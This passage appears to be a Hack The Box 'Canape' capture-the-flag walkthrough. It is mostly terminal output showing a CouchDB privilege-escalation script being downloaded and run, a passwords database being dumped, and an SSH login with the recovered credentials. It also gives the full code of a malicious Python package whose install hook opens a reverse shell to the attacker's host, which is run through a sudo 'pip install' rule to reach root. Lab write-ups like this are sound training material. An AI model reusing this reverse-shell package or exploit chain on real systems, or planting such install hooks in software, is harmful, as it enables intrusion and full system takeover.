www-data@canape:/tmp$ wget http://10.10.14.18/couchdbprivesc.py
wget http://10.10.14.18/couchdbprivesc.py
--2019-10-27 08:09:55-- http://10.10.14.18/couchdbprivesc.py
Connecting to 10.10.14.18:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2131 (2.1K) [text/plain]
Saving to: 'couchdbprivesc.py'

couchdbprivesc.py 100%[===================>] 2.08K --.-KB/s in 0s

2019-10-27 08:09:55 (368 MB/s) - 'couchdbprivesc.py' saved [2131/2131]

www-data@canape:/tmp$ python couchdbprivesc.py -p5984 -u puckie -P style 127.0.0.1
<n couchdbprivesc.py -p5984 -u puckie -P style 127.0.0.1 
[+] User to create: puckie
[+] Password: style
[+] Attacking host 127.0.0.1 on port 5984
[+] User puckie with password style successfully created.
www-data@canape:/tmp$
www-data@canape:/tmp$ curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puckie
<http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puckie 
Enter host password for user 'puckie':style

{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}}
]}
www-data@canape:/tmp$

We login through SSH using the credentials we found earlier “homer:0B4jyA0xtytZi7esBNGp”. After login we find a file ‘user.txt’. We open the file and find our first flag.

After getting the flag, we checked the sudoers list and find homer has permission to run “pip install *” as root user.

root@kali:~/htb/canape/simpsons# ssh homer@10.10.10.70 -p 65535
homer@10.10.10.70's password: 0B4jyA0xtytZi7esBNGp
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Feb 5 11:30:15 2019 from 10.10.14.15
homer@canape:~$ 0B4jyA0xtytZi7esBNGp
[sudo] password for homer: 0B4jyA0xtytZi7esBNGp 
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
(root) /usr/bin/pip install *

Now as we know we can run “pip install *” as root, we are going to abuse it

To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py file on our attacking box with the following.

import os
import pty
import socket

from setuptools import setup
from setuptools.command.install import install

class MyClass(install):
    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("10.10.14.15", 443))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        s.close()
	
setup(
    cmdclass={
        "install": MyClass
    }
)

This basically just tells pip to run MyClass at install, which will send us a reverse shell.

Now we’ll need to package it.

root@kali:~/htb/canape# python setup.py sdist

By default it creates a UNKNOWN-0.0.0.tar.gz file under dist, which we can copy out and rename as shell.tar.gz then copy to our victim.

homer@canape:/tmp$ wget http://10.10.14.15/shell.tar.gz
--2019-02-05 11:57:52-- http://10.10.14.15/shell.tar.gz
Connecting to 10.10.14.15:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 735 [application/gzip]
Saving to: ‘shell.tar.gz’

shell.tar.gz 100%[==================================================================================>] 735 --.-KB/s in 0s

2019-02-05 11:57:52 (118 MB/s) - ‘shell.tar.gz’ saved [735/735]

Now we can start a netcat listener and run sudo with pip install.

homer@canape:/tmp$ sudo /usr/bin/pip install shell.tar.gz
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing ./shell.tar.gz
Installing collected packages: UNKNOWN
Running setup.py install for UNKNOWN ... -
root@kali:~/htb/canape/simpsons# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from git.canape.htb [10.10.10.70] 54702
root@canape:/tmp/pip-aK4M3e-build# cat /root/root.txt
cat /root/root.txt
928*****76d

Author: Jacco Straathof